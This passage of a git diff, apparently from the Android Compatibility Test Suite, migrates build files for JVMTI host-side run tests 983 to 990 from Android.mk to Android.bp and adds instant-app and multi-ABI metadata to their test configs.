diff --git a/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
index 707d790..33bee46 100644
--- a/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-983/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/Android.bp b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
new file mode 100644
index 0000000..635cde8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-983/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest983DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-983/app/Android.mk b/hostsidetests/jvmti/run-tests/test-983/app/Android.mk
deleted file mode 100644
index 458e794..0000000
--- a/hostsidetests/jvmti/run-tests/test-983/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest983DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.bp b/hostsidetests/jvmti/run-tests/test-984/Android.bp
new file mode 100644
index 0000000..3662e48
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest984HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest984DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-984/Android.mk b/hostsidetests/jvmti/run-tests/test-984/Android.mk
deleted file mode 100644
index b0a919a..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest984HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
index 33eedb0..e97d9ad 100644
--- a/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-984/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.bp b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
new file mode 100644
index 0000000..93937ec
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-984/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest984DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk b/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
deleted file mode 100644
index dad792a..0000000
--- a/hostsidetests/jvmti/run-tests/test-984/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest984DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.bp b/hostsidetests/jvmti/run-tests/test-985/Android.bp
new file mode 100644
index 0000000..934f932
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest985HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest985DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-985/Android.mk b/hostsidetests/jvmti/run-tests/test-985/Android.mk
deleted file mode 100644
index 0a55fac..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest985HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
index 684833d..8554795 100644
--- a/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-985/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.bp b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
new file mode 100644
index 0000000..4faad8b
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-985/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest985DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk b/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
deleted file mode 100644
index 3a66405..0000000
--- a/hostsidetests/jvmti/run-tests/test-985/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest985DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.bp b/hostsidetests/jvmti/run-tests/test-986/Android.bp
new file mode 100644
index 0000000..278a581
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest986HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest986DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-986/Android.mk b/hostsidetests/jvmti/run-tests/test-986/Android.mk
deleted file mode 100644
index 6be45f2..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest986HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
index 170193e..016545d 100644
--- a/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-986/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts" />
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.bp b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
new file mode 100644
index 0000000..d056900
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-986/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest986DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk b/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
deleted file mode 100644
index 7e907c3..0000000
--- a/hostsidetests/jvmti/run-tests/test-986/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest986DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-988/Android.bp b/hostsidetests/jvmti/run-tests/test-988/Android.bp
new file mode 100644
index 0000000..b5d1d63
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-988/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest988HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest988DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-988/Android.mk b/hostsidetests/jvmti/run-tests/test-988/Android.mk
deleted file mode 100644
index b58099d..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest988HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
index edb8e2f..5db646a 100644
--- a/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-988/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/Android.bp b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
new file mode 100644
index 0000000..fd2fdad
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-988/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest988DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-988/app/Android.mk b/hostsidetests/jvmti/run-tests/test-988/app/Android.mk
deleted file mode 100644
index 6ae9f78..0000000
--- a/hostsidetests/jvmti/run-tests/test-988/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest988DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-989/Android.bp b/hostsidetests/jvmti/run-tests/test-989/Android.bp
new file mode 100644
index 0000000..ea56478
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-989/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest989HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest989DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-989/Android.mk b/hostsidetests/jvmti/run-tests/test-989/Android.mk
deleted file mode 100644
index c01cead..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest989HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
index 46224f0..c590530 100644
--- a/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-989/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/Android.bp b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
new file mode 100644
index 0000000..b433eec
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-989/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest989DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-989/app/Android.mk b/hostsidetests/jvmti/run-tests/test-989/app/Android.mk
deleted file mode 100644
index 44b62c3..0000000
--- a/hostsidetests/jvmti/run-tests/test-989/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest989DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-990/Android.bp b/hostsidetests/jvmti/run-tests/test-990/Android.bp
new file mode 100644
index 0000000..03553cd
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-990/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest990HostTestCases",
